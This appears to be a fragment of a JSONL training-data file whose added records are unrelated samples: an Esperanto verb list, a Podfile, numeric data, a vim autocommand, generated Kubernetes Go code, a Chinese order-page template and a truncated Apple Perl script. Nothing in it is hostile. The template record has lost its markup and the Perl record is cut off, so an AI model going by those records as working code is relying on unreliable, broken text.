tumi\nkovi\nkovri\nkraĉi\nkradi\nkradrosti\nkrajoni\nkrakmaĉi\nkrampi\nkredi\nkrediti\nkrei\nkremacii\nkrementi\nkreneli\nkreozoti\nkreti\nkribri\nkrii\nkritiki\nkroĉeti\nkroĉi\nkroĉtriki\nkrokizi\nkromi\nkromii\nkroni\nkroniki\nkronometri\nkruci\nkrucpasi\nkrucumi\nksilografi\nkudri\nkuiri\nkuleri\nkulti\nkultivi\nkulturi\nkumuli\nkunbati\nkunesti\nkuneteni\nkunfandi\nkunfondi\nkunforĝi\nkunfrapi\nkunglui\nkunhavi\nkunhelpi\nkunheredi\nkunjungi\nkunĵuri\nkunkalkuli\nkunkanti\nkunkonduki\nkunkudri\nkunkunteni\nkunligi\nkunmeti\nkunplekti\nkunporti\nkunpremi\nkunpreni\nkunruli\nkunsenti\nkunŝnuri\nkunŝovi\nkunŝuti\nkunteni\nkuntiri\nkuntordi\nkuntreni\nkuntriki\nkunuzi\nkunvoki\nkunvolvi\nkupeli\nkupli\nkupri\nkuprizi\nkuraci\nkuraĝi\nkurataki\nkuratingi\nkurĉasi\nkurteni\nkuspi\nkvadrati\nkvadratumi\nkvalifi\nkvalifiki\nkvazaŭdiri\nkvitanci\nkvoti\nlaborakiri\nlacepeli\nlaĉi\nlakei\nlaki\nlaminati\nlanĉi\nlangtrinki\nlardi\nlardumi\nlasi\nlati\nlaŭdi\nlaŭiri\nlaŭkuri\nlaŭtlegi\nlavi\nlavumi\nlazi\nlegaci\nlegalizi\nlegi\nlegitimi\nleki\nlektrinki\nlerni\nlesivi\nlevi\nlezi\nlicenci\nligaturi\nligi\nlignizi\nlignotegi\nlikvidi\nlimi\nlinĉi\nlinii\nliniotrui\nliofilizi\nlipi\nliterumi\nlitografi\nliveri\nlizi\nlofi\nlogi\nloĝi\nlokalizi\nloki\nlokumi\nlombardi\nlotumi\nlubriki\nludi\nludoni\nlui\nlukri\nluksacii\nluli\nlumi\nlupreni\nluti\nmaceri\nmaĉi\nmagneti\nmajstri\nmakuli\nmaloportuni\nmamnutri\nmamsuĉi\nmanflegi\nmanĝi\nmanifesti\nmanikuri\nmanipuli\nmansaluti\nmanskribi\nmanufakturi\nmanumi\nmanuzi\nmapi\nmargarini\nmarini\nmarketri\nmarki\nmarkoti\nmarkovesti\nmarmori\nmarmorumi\nmarni\nmarodi\nmarokeni\nmarteli\nmasaĝi\nmasakri\nmasivkonstrui\nmaski\nmaskovesti\nmasoni\nmastiki\nmastri\nmastrumi\nmasturbi\nmaŝinskribi\nmatenmanĝi\nmatrici\nmatrikuli\nmebli\nmecenati\nmedali\nmeĥanizi\nmelki\nmembri\nmemori\nmencii\nmendi\nmensogi\nmercerizi\nmergi\nmeringi\nmeriti\nmesaĝi\nmetamorfozi\nmeti\nmezumi\nmezuri\nmidzi\nmikrofilmi\nmikrosekci\nmiksi\nmilitakiri\nmimeografi\nmimi\nminaci\nminbalai\nmini\nminiaturi\nmiri\nmistifi\nmistifiki\nmitri\nmobilizi\nmodeli\nmodifi\nmodli\nmodulacii\nmoduli\nmoki\nmokimiti\nmokridi\nmokripeti\nmolesti\nmonhelpi\nmonitori\nmontri\nmordi\nmortezi\nmortkondamni\nmortokondamni\nmortpafi\nmotivi\nmotorizi\nmovi\nmuari\nmueli\nmuestri\nmufi\nmufli\nmuldi\nmultipliki\nmungi\nmunti\nmurdi\nmurmuri\nmustardi\nmutili\nnajli\nnajlizi\nnapalmi\nnarkoti\nnaski\nnaturalizi\nnaturesplori\nnaŭzi\nnegi\nneglekti\nnehavi\nnei\nnekropsii\nnekrozi\nnervizi\nnieli\nnigrumi\nnikeli\nniti\nnitri\nniveli\nnoci\nnoĉi\nnodi\nnokaŭti\nnombri\nnomi\nnomumi\nnormi\nnormkontroli\nnormomarki\nnormumi\nnoti\nnotkanti\nnuanci\nnumeri\nnutri\nobei\nobligacii\nobsedi\nobservi\nobstrukci\nobteni\nobturi\nodori\nofendi\noferbuĉi\noferdoni\noferi\noferti\noferverŝi\noksidi\noksigeni\nokuli\nokupacii\nokupi\nolei\nomaĝi\nombri\nombrumi\nondumi\noperacii\nopinii\nopozicii\nopresi\nordeni\nordi\nordinacii\nordini\nordoni\norfigi\norganizi\nori\norienti\norkestri\norli\nornami\noskuli\novacii\novri\nozoni\nozonizi\npacienci\npafi\npafvundi\npagi\npajloŝtopi\npaki\npalisumi\npalpi\npaneli\npanerumi\npaniki\npansi\npanumi\npapagi\npapagumi\npapiliumi\npapriki\nparafi\nparafrazi\nparalizi\npardoni\nparfumi\npargeti\nparki\nparkumi\nparodii\nparoli\npartopreni\npasamenti\npasteŭrizi\npastiĉi\npaŝti\npatenti\npatrici\npatroni\npaŭsi\npavimi\npeĉi\npedali\npedikuri\npekli\npeli\npendumi\npenetri\npensi\npensii\npenti\npentri\npepi\npercepti\nperdi\nperfidi\nperflati\nperfori\nperforti\nperfuzi\npergameni\nperi\nperkoli\nperkuti\nperlabori\npermesi\npermiliti\npermuti\nperoksidi\npersekuti\npersvadi\nperŝipi\nperturbi\npesi\npeti\npeticii\npetroseli\npiedbati\npiedfrapi\npiedpremi\npigmenti\npigri\npiki\npikpluki\npiloti\npimenti\npinĉi\npipri\npisti\npistolfarbi\npistomiksi\nplafoni\nplagi\nplagiati\nplaki\nplani\nplanki\nplanti\nplateni\nplekti\nplenblovi\nplenskribi\nplenumi\npliproponi\nplisi\nplivoli\nplombi\nplorpeti\nplugi\npluki\nplumbi\nplumi\nplusendi\npoĉi\npolarizi\npolemiki\npoleni\npoli\npolituri\npolui\npoluri\npomadi\nponardi\npondi\npopoli\nporciumi\nporti\nportreti\nposedi\npostĉasi\npostdati\npostiri\npostkuri\npostlasi\npostmeti\npostrajdi\npostrigardi\npostrikolti\npostsekvi\nposttiri\npostuli\npostveni\npostvivi\npoŝti\npotenci\npovi\npovoscii\npozi\nprajmi\npraktiki\npralini\nprami\nprecipiti\npredi\nprediki\npredispozicii\npreferi\npregi\npremi\npremii\npremisi\npremkopii\npremsufoki\npremtordi\npreni\nprepari\npresi\npreskribi\npresurizi\npreteksti\npretendi\npreteratenti\npreterdistanci\npreterdormi\npreterflugi\npreterflui\npreterfroti\npretergliti\npreteriri\npreterkuri\npreterlasi\npretermarŝi\npreterpafi\npreterpasi\npreterpaŝi\npreterveturi\npretervidi\npreventi\nprezenti\nprezervi\nprezidi\npriatenti\npridemandi\npridiri\npridiskuti\npridisputi\npridubi\nprifajfi\nprifalĉi\npriflari\nprifosi\nprifrapi\nprifraŭdi\nprifriponi\nprigardi\nprigrati\npriĝemi\nprijuĝi\npriĵeti\npriĵuri\nprikalkuli\nprikanti\nprikanzoni\nprikli\nprikonstrui\nprikrii\nprilabori\nprilevi\npriloĝi\nprilumi\nprimajstri\nprimediti\nprimensogi\nprimeti\nprinoti\nprinti\nprioritati\npripalpi\npriparoli\npripeni\npripensi\npripenti\npripentri\npripesi\npriplanti\npriplori\npripluki\npripluvi\nprirabi\npriradii\nprirespondi\npririgardi\nprisekreti\nprisemi\npriserĉi\npriservi\nprisilenti\npriskrapi\npriskribi\npriskulpti\npriŝteli\npritemi\npritondi\npritrakti\npritranĉi\npriverŝi\npriveti\nprivilegii\nprizorgi\nprocesi\nprodukti\nprofani\nprofesii\nprofeti\nprofilakti\nprofili\nprofiti\nprognozi\nprogrami\nprohibi\nprojekcii\nprojekti\nproklami\nprokrasti\npromeni\npromesi\npromocii\npromulgi\nproni\nprononci\npropagandi\npropagi\npropeti\nproponi\nproprieti\nproprumi\npropulsi\nproskribi\nprospektori\nprostitui\nprotekti\nprotesti\nprotezi\nprotokoli\nprovi\nprovianti\nprovizi\nprovizumi\nprovlegi\nprovoki\npruntedoni\npruntepreni\nprunti\npruvi\npsalmi\npublici\npudli\npudri\npugni\npugvergi\npumiki\npumpi\npuni\npunkcii\npunkorekti\npunktfrapi\npunkti\npunpagi\npunviziti\npuŝi\nrabati\nrabi\nraboti\nradii\nradiki\nradiografi\nradŝiri\nradumi\nrafini\nrajdi\nrajti\nrakonti\nrami\nrandi\nrandrompi\nrandstreki\nranĝi\nraporti\nraspi\nrasti\nratifi\nratifiki\nravi\nrazi\nrazii\nrecenzi\nrecepti\nreciproki\nreciti\nredakti\nredempti\nredukti\nrefaldoborderi\nreflekti\nreflugi\nreformi\nrefrakti\nrefuti\nregali\nregeneri\nregi\nregistri\nreguli\nreklami\nrekomendi\nrekompenci\nrekompensi\nrekruti\nrektifi\nrektifiki\nrekuperi\nrekvizicii\nrelegacii\nremburi\nrendevui\nrenkonti\nrenversi\nreplandumi\nrepliki\nrepresii\nrepudii\nrespekti\nrespondi\nrestrukturi\nresumi\nretroderivi\nretrofleksi\nretroformi\nretroklini\nretrokombi\nretrokupli\nretropagi\nretrorigardi\nrevelacii\nrevendi\nrevi\nrevizii\nrevui\nrezervi\nrezigni\nricevi\nrifuzi\nrigardi\nrigli\nrikolti\nrilaksi\nrilati\nrimarki\nrimi\nripari\nripeti\nriporti\nriproĉi\nriski\nristorni\nritmi\nriveli\nrodi\nrompi\nrondfaldeti\nronĝi\nrosti\nrudri\nrugini\nruĝumi\nrui\nruli\nrulĵeti\nrulpremi\nrulumi\nsabli\nsaboti\nsabri\nsafrani\nsalajri\nsaldi\nsali\nsaluti\nsankcii\nsanktolei\nsapei\nsapi\nsapumi\nsarki\nsatmanĝi\nsaturi\nsaŭci\nsavi\nscii\nscipovi\nscivoli\nsebi\nsegi\nsegmenti\nsejni\nsekci\nsekestri\nsekrecii\nsekreti\nsekularizi\nsekvenci\nsekvestri\nsekvi\nselekti\nseli\nsemafori\nsemi\nsendi\nsensi\nsenti\nsepari\nsepti\nsepulti\nserĉfosi\nserĉi\nservi\nsesdeknaŭi\nsieĝi\nsifoni\nsigelfermi\nsigeli\nsignali\nsigni\nsignifi\nsilabi\nsimboli\nsimii\nsimili\nsimpatii\nsimuli\nsintezi\nskalpi\nskandali\nskandi\nskani\nskarifi\nskarifiki\nskizi\nskoldi\nskoveli\nskrapi\nskribi\nskui\nskulavi\nskulpti\nskurĝi\nslogani\nsmirgi\nsnobi\nsnufi\nsodomii\nsoifi\nsoleni\nsolfeĝi\nsolvanti\nsolvantumi\nsolvi\nsondi\nsonĝi\nsoni\nsonizoli\nsonori\nsopiri\nsorbi\nsorĉi\nsortimenti\nspaliri\nspecifi\nspeguli\nspekti\nsperti\nspezi\nspici\nspikumi\nspili\nspioni\nspiri\nspiti\nsplinti\nsplisi\nspliti\nspongi\nsponsori\nspraji\nsproni\nspuri\nsputi\nstampi\nstani\nstapli\nstatistiki\nstebi\nstegi\nsteli\nstencili\nstenografi\nstenotipi\nstereotipi\nsterilizi\nsterki\nsterni\nstetoskopi\nstifti\nstiki\nstimuli\nstipendii\nstiri\nstivi\nstoki\nstompi\nstopi\nstrangoli\nstreĉi\nstreĉtordi\nstreki\nstrekumi\nstrigli\nstrii\nstringi\nstrukturi\nstuci\nstudi\nstufi\nstuki\nstupi\nsturmi\nsubaĉeti\nsubapogi\nsubaŭskulti\nsubĉerpi\nsubdiri\nsubdividi\nsubfleksi\nsubfosi\nsubiri\nsubĵeti\nsubkompreni\nsubkuŝi\nsublimi\nsubmeti\nsubmini\nsubnutri\nsubporti\nsubpremi\nsubrosti\nsubskribi\nsubskripcii\nsubstitui\nsubstreĉi\nsubstreki\nsubŝati\nsubŝovi\nsubŝtofi\nsubtaksi\nsubteni\nsubtrahi\nsubvencii\nsuĉfiltri\nsuĉi\nsuferi\nsuflori\nsufoki\nsugesti\nsugestii\nsuicidi\nsukcedi\nsukeri\nsukerumi\nsukuri\nsulfuri\nsulki\nsunumi\nsuperakvi\nsuperatuti\nsuperbrui\nsuperflugi\nsuperforti\nsuperhejti\nsuperi\nsuperimposti\nsuperĵeti\nsupermeti\nsupernutri\nsuperpaŝi\nsuperpezi\nsuperponti\nsuperregi\nsuperruzi\nsupersaturi\nsuperskribi\nsupersoni\nsuperstari\nsuperŝarĝi\nsuperŝuti\nsuperverŝi\nsupervivi\nsupervolti\nsupini\nsupliki\nsupozi\nsuprenfaldi\nsupreniri\nsuprenrampi\nsuprenvolvi\nsurhavi\nsuriri\nsurĵeti\nsurkorekti\nsurmeti\nsurprizi\nsurprovi\nsurradii\nsurrampi\nsurskribi\nsurŝovi\nsurŝuti\nsurverŝi\nsurveturi\nsuspekti\nsuspendi\nsuturi\nsvati\nsvingi\nŝablondesegni\nŝagrini\nŝakri\nŝalti\nŝampui\nŝanceli\nŝanĝi\nŝaptali\nŝaptalizi\nŝargi\nŝarĝi\nŝati\nŝipi\nŝiri\nŝirkolekti\nŝirmi\nŝkopi\nŝlifi\nŝlosi\nŝmalci\nŝminki\nŝmiri\nŝnurarmi\nŝnuri\nŝnurumi\nŝofori\nŝoĥti\nŝoki\nŝoti\nŝoveli\nŝovi\nŝpari\nŝparloki\nŝpati\nŝpini\nŝraŭbbori\nŝraŭbi\nŝtanci\nŝtelĉasi\nŝteli\nŝtelkopii\nŝtiparumi\nŝtonumi\nŝtopfermi\nŝtopi\nŝtopnutri\nŝufliki\nŝuldi\nŝunti\nŝuti\nŝutkovri\nŝvabri\ntabui\ntabuli\ntabulkovri\ntaĉmenti\ntagmanĝi\ntajli\ntajlori\ntajpi\ntaki\ntaksi\ntalki\ntalusi\ntamburi\ntamponi\ntanĝi\ntani\ntapeti\ntapiŝi\ntari\ntarifi\ntaski\ntatui\ntaŭzi\ntedi\ntegi\ntegmenti\ntegoli\nteksi\nteksoŝtopi\nteleaŭtografi\ntelefoni\ntelefotografi\ntelegrafi\ntelekomandi\ntelekomuniki\ntelekonduki\ntelekopii\nteleksi\ntelemetri\nteleregi\ntelesendi\nteletajpi\ntelevidi\ntelferi\ntemperi\nteni\ntenti\ntermezuri\nterori\nterorizi\nteruri\ntestamenti\ntesti\ntetanizi\ntikli\ntili\ntimi\ntinkturi\ntirani\ntiretendi\ntiri\ntitoli\ntitri\ntoksi\ntoleri\ntondi\ntonsuri\ntopografi\ntordelpremi\ntordi\ntordodifekti\ntordorompi\ntorni\ntorpedi\ntorturi\ntrababili\ntrabati\ntrabizi\ntrabori\ntracei\ntradandi\ntradi\ntradiboĉi\ntradicii\ntradormi\ntraduki\ntraelporti\ntrafajli\ntrafali\ntrafi\ntrafiki\ntraflugi\ntraflui\ntrafosi\ntragliti\ntraguti\ntrahaki\ntrairi\ntrakonduki\ntrakontroli\ntrakopii\ntrakti\ntrakuri\ntralasi\ntralegi\ntralerni\ntrameti\ntramini\ntranaĝi\ntranĉi\ntransatendi\ntransbapti\ntranscendi\ntransdiri\ntransdoni\ntransfandi\ntransfiguri\ntransflugi\ntransformi\ntransfuzi\ntransiri\ntransĵeti\ntranskolori\ntranskomponi\ntranskonduki\ntranskuri\ntranslacii\ntransliteri\ntransloki\ntransmeti\ntransmigri\ntransmisii\ntransnaĝi\ntranspasi\ntranspaŝi\ntransplanti\ntransponi\ntransponti\ntransporti\ntranssalti\ntranssendi\ntransskribi\ntranssorĉi\ntransŝarĝi\ntransŝovi\ntransturni\ntransverŝi\ntransvesti\ntransveturi\ntransvivi\ntrapafi\ntrapasi\ntrapeli\ntrapenetri\ntrapiki\ntraplekti\ntraplugi\ntrapremi\ntrapuŝi\ntrarigardi\ntrarompi\ntraserĉi\ntrasonĝi\ntrastreki\ntrasuferi\ntrasulki\ntraŝovi\ntrateksi\ntratranĉi\ntratrui\ntravadi\ntravagi\ntravestii\ntraveturi\ntravidi\ntravivi\ntravojaĝi\ntredi\ntrejni\ntrempi\ntreni\ntrepani\ntreti\ntrianguli\ntributi\ntriki\ntrinki\ntrivi\ntrompi\ntromplogi\ntroprofiti\ntrostreĉi\ntroŝarĝi\ntrotaksi\ntrouzi\ntrovi\ntrudi\ntrudpeli\ntrudpeti\ntrufi\ntrui\ntruki\ntrumpeti\ntrunki\ntrusti\ntubi\ntubizi\ntuneli\nturmenti\nturni\nturnomovi\ntuŝi\ntutlegi\ntutlerni\nungi\nungograti\nungovundi\nunkti\nurbanizi\nurĝi\nuruŝii\nuzi\nuzini\nuzukapi\nuzurpi\nvaĉi\nvakcini\nvaksi\nvalori\nvalorizi\nvangobati\nvanili\nvaporizi\nvaporkuiri\nvarbi\nvarmizoli\nvarpi\nvarti\nvati\nvehikli\nvejni\nveki\nveldi\nvendi\nveneni\nvenĝi\nvenki\nvenkobati\nvenkopreni\nventoli\nventumi\nvergi\nverki\nvernalizi\nvernisi\nverŝi\nvespermanĝi\nvespiri\nvesti\nvestmaski\nveti\nvetoi\nvicatendi\nvidi\nvinagri\nvindi\nvinkti\nviolenti\nvioloni\nvipi\nviŝi\nvitri\nvitrioli\nvivosekci\nvivteni\nvizi\nvizii\nviziti\nvoĉlegi\nvoki\nvolbi\nvoli\nvolonti\nvolvekovri\nvolvi\nvomi\nvori\nvortumi\nvoti\nvringi\nvuali\nvulkanizi\nvundi\nzingibri\nzinki\nzipi\nzoni\nzorgi\n"}
+{"text": "use_frameworks!\n\ntarget 'TRXTests' do\n  pod 'Quick', '~> 1.1.0'\n  pod 'Nimble', '~> 7.0.1'\n  pod 'Nimble-Snapshots', '~> 6.2'\nend\n"}
+{"text": "11\n1000 1 1 1 1 1 1 1 1 1 1\n10\n192 1 0 0 0 0 0 0 0 0 0 58\n160 0 1 0 0 0 0 0 0 0 0 88\n151 0 0 1 0 0 0 0 0 0 0 64\n145 0 0 0 1 0 0 0 0 0 0 66\n139 0 0 0 0 1 0 0 0 0 0 122\n89 0 0 0 0 0 1 0 0 0 0 159\n87 0 0 0 0 0 0 1 0 0 0 138\n28 0 0 0 0 0 0 0 1 0 0 125\n26 0 0 0 0 0 0 0 0 1 0 112\n25 0 0 0 0 0 0 0 0 0 1 68\n"}
+{"text": "au BufWritePost *.go silent!make tags > /dev/null 2>&1\n"}
+{"text": "/*\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\n// Code generated by informer-gen. DO NOT EDIT.\n\npackage externalversions\n\nimport (\n\treflect \"reflect\"\n\tsync \"sync\"\n\ttime \"time\"\n\n\tversioned \"github.com/deislabs/smi-sdk-go/pkg/gen/client/split/clientset/versioned\"\n\tinternalinterfaces \"github.com/deislabs/smi-sdk-go/pkg/gen/client/split/informers/externalversions/internalinterfaces\"\n\tsplit \"github.com/deislabs/smi-sdk-go/pkg/gen/client/split/informers/externalversions/split\"\n\tv1 \"k8s.io/apimachinery/pkg/apis/meta/v1\"\n\truntime \"k8s.io/apimachinery/pkg/runtime\"\n\tschema \"k8s.io/apimachinery/pkg/runtime/schema\"\n\tcache \"k8s.io/client-go/tools/cache\"\n)\n\n// SharedInformerOption defines the functional option type for SharedInformerFactory.\ntype SharedInformerOption func(*sharedInformerFactory) *sharedInformerFactory\n\ntype sharedInformerFactory struct {\n\tclient           versioned.Interface\n\tnamespace        string\n\ttweakListOptions internalinterfaces.TweakListOptionsFunc\n\tlock             sync.Mutex\n\tdefaultResync    time.Duration\n\tcustomResync     map[reflect.Type]time.Duration\n\n\tinformers map[reflect.Type]cache.SharedIndexInformer\n\t// startedInformers is used for tracking which informers have been started.\n\t// This allows Start() to be called multiple times safely.\n\tstartedInformers map[reflect.Type]bool\n}\n\n// WithCustomResyncConfig sets a custom resync period for the specified informer types.\nfunc WithCustomResyncConfig(resyncConfig map[v1.Object]time.Duration) SharedInformerOption {\n\treturn func(factory *sharedInformerFactory) *sharedInformerFactory {\n\t\tfor k, v := range resyncConfig {\n\t\t\tfactory.customResync[reflect.TypeOf(k)] = v\n\t\t}\n\t\treturn factory\n\t}\n}\n\n// WithTweakListOptions sets a custom filter on all listers of the configured SharedInformerFactory.\nfunc WithTweakListOptions(tweakListOptions internalinterfaces.TweakListOptionsFunc) SharedInformerOption {\n\treturn func(factory *sharedInformerFactory) *sharedInformerFactory {\n\t\tfactory.tweakListOptions = tweakListOptions\n\t\treturn factory\n\t}\n}\n\n// WithNamespace limits the SharedInformerFactory to the specified namespace.\nfunc WithNamespace(namespace string) SharedInformerOption {\n\treturn func(factory *sharedInformerFactory) *sharedInformerFactory {\n\t\tfactory.namespace = namespace\n\t\treturn factory\n\t}\n}\n\n// NewSharedInformerFactory constructs a new instance of sharedInformerFactory for all namespaces.\nfunc NewSharedInformerFactory(client versioned.Interface, defaultResync time.Duration) SharedInformerFactory {\n\treturn NewSharedInformerFactoryWithOptions(client, defaultResync)\n}\n\n// NewFilteredSharedInformerFactory constructs a new instance of sharedInformerFactory.\n// Listers obtained via this SharedInformerFactory will be subject to the same filters\n// as specified here.\n// Deprecated: Please use NewSharedInformerFactoryWithOptions instead\nfunc NewFilteredSharedInformerFactory(client versioned.Interface, defaultResync time.Duration, namespace string, tweakListOptions internalinterfaces.TweakListOptionsFunc) SharedInformerFactory {\n\treturn NewSharedInformerFactoryWithOptions(client, defaultResync, WithNamespace(namespace), WithTweakListOptions(tweakListOptions))\n}\n\n// NewSharedInformerFactoryWithOptions constructs a new instance of a SharedInformerFactory with additional options.\nfunc NewSharedInformerFactoryWithOptions(client versioned.Interface, defaultResync time.Duration, options ...SharedInformerOption) SharedInformerFactory {\n\tfactory := &sharedInformerFactory{\n\t\tclient:           client,\n\t\tnamespace:        v1.NamespaceAll,\n\t\tdefaultResync:    defaultResync,\n\t\tinformers:        make(map[reflect.Type]cache.SharedIndexInformer),\n\t\tstartedInformers: make(map[reflect.Type]bool),\n\t\tcustomResync:     make(map[reflect.Type]time.Duration),\n\t}\n\n\t// Apply all options\n\tfor _, opt := range options {\n\t\tfactory = opt(factory)\n\t}\n\n\treturn factory\n}\n\n// Start initializes all requested informers.\nfunc (f *sharedInformerFactory) Start(stopCh <-chan struct{}) {\n\tf.lock.Lock()\n\tdefer f.lock.Unlock()\n\n\tfor informerType, informer := range f.informers {\n\t\tif !f.startedInformers[informerType] {\n\t\t\tgo informer.Run(stopCh)\n\t\t\tf.startedInformers[informerType] = true\n\t\t}\n\t}\n}\n\n// WaitForCacheSync waits for all started informers' cache were synced.\nfunc (f *sharedInformerFactory) WaitForCacheSync(stopCh <-chan struct{}) map[reflect.Type]bool {\n\tinformers := func() map[reflect.Type]cache.SharedIndexInformer {\n\t\tf.lock.Lock()\n\t\tdefer f.lock.Unlock()\n\n\t\tinformers := map[reflect.Type]cache.SharedIndexInformer{}\n\t\tfor informerType, informer := range f.informers {\n\t\t\tif f.startedInformers[informerType] {\n\t\t\t\tinformers[informerType] = informer\n\t\t\t}\n\t\t}\n\t\treturn informers\n\t}()\n\n\tres := map[reflect.Type]bool{}\n\tfor informType, informer := range informers {\n\t\tres[informType] = cache.WaitForCacheSync(stopCh, informer.HasSynced)\n\t}\n\treturn res\n}\n\n// InternalInformerFor returns the SharedIndexInformer for obj using an internal\n// client.\nfunc (f *sharedInformerFactory) InformerFor(obj runtime.Object, newFunc internalinterfaces.NewInformerFunc) cache.SharedIndexInformer {\n\tf.lock.Lock()\n\tdefer f.lock.Unlock()\n\n\tinformerType := reflect.TypeOf(obj)\n\tinformer, exists := f.informers[informerType]\n\tif exists {\n\t\treturn informer\n\t}\n\n\tresyncPeriod, exists := f.customResync[informerType]\n\tif !exists {\n\t\tresyncPeriod = f.defaultResync\n\t}\n\n\tinformer = newFunc(f.client, resyncPeriod)\n\tf.informers[informerType] = informer\n\n\treturn informer\n}\n\n// SharedInformerFactory provides shared informers for resources in all known\n// API group versions.\ntype SharedInformerFactory interface {\n\tinternalinterfaces.SharedInformerFactory\n\tForResource(resource schema.GroupVersionResource) (GenericInformer, error)\n\tWaitForCacheSync(stopCh <-chan struct{}) map[reflect.Type]bool\n\n\tSplit() split.Interface\n}\n\nfunc (f *sharedInformerFactory) Split() split.Interface {\n\treturn split.New(f, f.namespace, f.tweakListOptions)\n}\n"}
+{"text": "\r\n\r\n\r\n    
      \r\n        \r\n        
      暂无待收货商品
      \r\n        去逛逛\r\n    
      \r\n\r\n    \r\n        
      \r\n            
      \r\n                
      \r\n                    
      \r\n                        订单号：{$order[order_sn]}\r\n                        {$order[order_status_desc]}\r\n                    
      \r\n                    \r\n                    
      \r\n                        \r\n                        \r\n                        \r\n                    
      \r\n                    \r\n                
      \r\n            
      \r\n            \r\n                
      \r\n                    
      \r\n                        
      \r\n                            
      \r\n                            
      \r\n                                
      $good[goods_id]))}\">{$good[goods_name]}
      \r\n                            
      \r\n                            
      \r\n                                \r\n                                    $order['order_id'],'order_sn'=>$order['order_sn'],'goods_id'=>$good['goods_id'],'spec_key'=>$good['spec_key']))}\">申请售后\r\n                                \r\n                                \r\n                                    已申请售后\r\n                                \r\n                            
      \r\n                        
      \r\n                    
      \r\n                
      \r\n                  \r\n            
      \r\n                
      \r\n                    
      \r\n                        共{$order.count_goods_num}件\r\n                        实付款￥{$order.order_amount}\r\n                    
      \r\n                    
      \r\n                        \r\n                        $order.order_id,'waitreceive'=>1))}\">查看详情\r\n                        我要催单\r\n                        \r\n                        确认收货\r\n                    
      \r\n                
      \r\n            
      \r\n        
      \r\n\r\n        \r\n        
      \r\n            
      您的订单已经交由{$order.shipping_name}进行配送，运单号为{$order.invoice_no}
      \r\n            
      \r\n                取消\r\n                $order.order_id))}\">查看物流\r\n            
      \r\n        
      \r\n        \r\n\r\n        \r\n        
      \r\n            
      是否收到该订单商品？
      \r\n            
      \r\n                未收货\r\n                $order.order_id))}\">已收货\r\n            
      \r\n        
      \r\n        \r\n          \r\n\r\n    \r\n    \r\n        \r\n            \r\n        \r\n    \r\n    \r\n      \r\n
      \r\n\r\n\r\n\r\n"}
+{"text": "#!/usr/bin/perl -w\n\n# Copyright (C) 2008 Apple Inc. All Rights Reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n# 1. Redistributions of source code must retain the above copyright\n#    notice, this list of conditions and the following disclaimer.\n# 2. Redistributions in binary form must reproduce the above copyright\n#    notice, this list of conditions and the following disclaimer in the\n#    documentation and/or other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY\n# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n# PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR\n# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n# OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nuse strict;\nuse File::Basename;\n\nsub printDependencyTree($);\n\nmy $basename = basename($0);\n@ARGV or die \"Usage: $basename sln1 [sln2 sln3...]\";\n\nforeach my $sln (@ARGV) {\n    printDependencyTree($sln);\n}\n\nexit;\n\nsub printDependencyTree($)\n{\n    my ($sln) = @_;\n\n    unless (-f $sln) {\n        warn \"Warning: Can't find $sln; skipping\\n\";\n        return;\n    }\n\n    unless (open SLN, \"<\", $sln) {\n        warn \"Warning: Can't open $sln; skipping\\n\";\n        return;\n    }\n\n    my %projectsByUUID = ();\n    my $currentProject;\n\n    my $state = \"initial\";\n    foreach my $line () {\n        if ($state eq \"initial\") {\n            if ($line =~ /^Project\\([^\\)]+\\) = \"([^\"]+)\", \"[^\"]+\", \"([^\"]+)\"\\r?$/) {\n                my $name = $1;\n                my $uuid = $2;\n                if (exists $projectsByUUID{$uuid}) {\n                    warn \"Warning: Project $name appears more than once in $sln; using first definition\\n\";\n                    next;\n                }\n                $currentProject = {\n                    name => $name,\n                    uuid => $uuid,\n                    dependencies => {},\n                };\n                $projectsByUUID{$uuid} = $currentProject;\n\n                $state = \"inProject\";\n            }\n\n            next;\n        }\n\n        if ($state eq \"inProject\") {\n            defined($currentProject) or die;\n\n            if ($line =~ /^\\s*ProjectSection\\(ProjectDependencies\\) = postProject\\r?$/) {\n                $state = \"inDependencies\";\n            } elsif ($line =~ /^EndProject\\r?$/) {\n                $currentProject = undef;\n                $state = \"initial\";\n            }\n\n            next;\n        }\n\n        if ($state eq \"inDependencies\") {\n            defined($currentProject) or die;\n\n            if ($line =~ /^\\s*({[^}]+}) = ({[^}]+})\\r?$/) {\n                my $uuid1 = $1;\n                my $uuid2 = $2;\n                if (exists $currentProject->{dependencies}->{$uuid1}) {\n                    warn \"Warning: UUID $uuid1 listed more than once as dependency of project \", $currentProject->{name}, \"\\n\";\n                    next;\n                }\n\n                $uuid1 eq $uuid2 or warn \"Warning: UUIDs in depedency section of project \", $currentProject->{name}, \" don't match: $uuid1 $uuid2; using first UUID\\n\";\n\n                $currentProject->{dependencies}->{$uuid1} = 1;\n            } elsif ($line =~ /^\\s*EndProjectSection\\r?$/) {\n                $state = \"inProject\";\n            }\n\n            next;\n        }\n    }\n\n    close SLN or warn \"Warning: Can't close $sln\\n\";\n\n    my %projectsNotDependedUpon = %projectsByUUID;\n    CANDIDATE: foreach my $candidateUUID (keys %projectsByUUID) {\n        foreach my $projectUUID (keys %projectsByUUID) {\n            next if 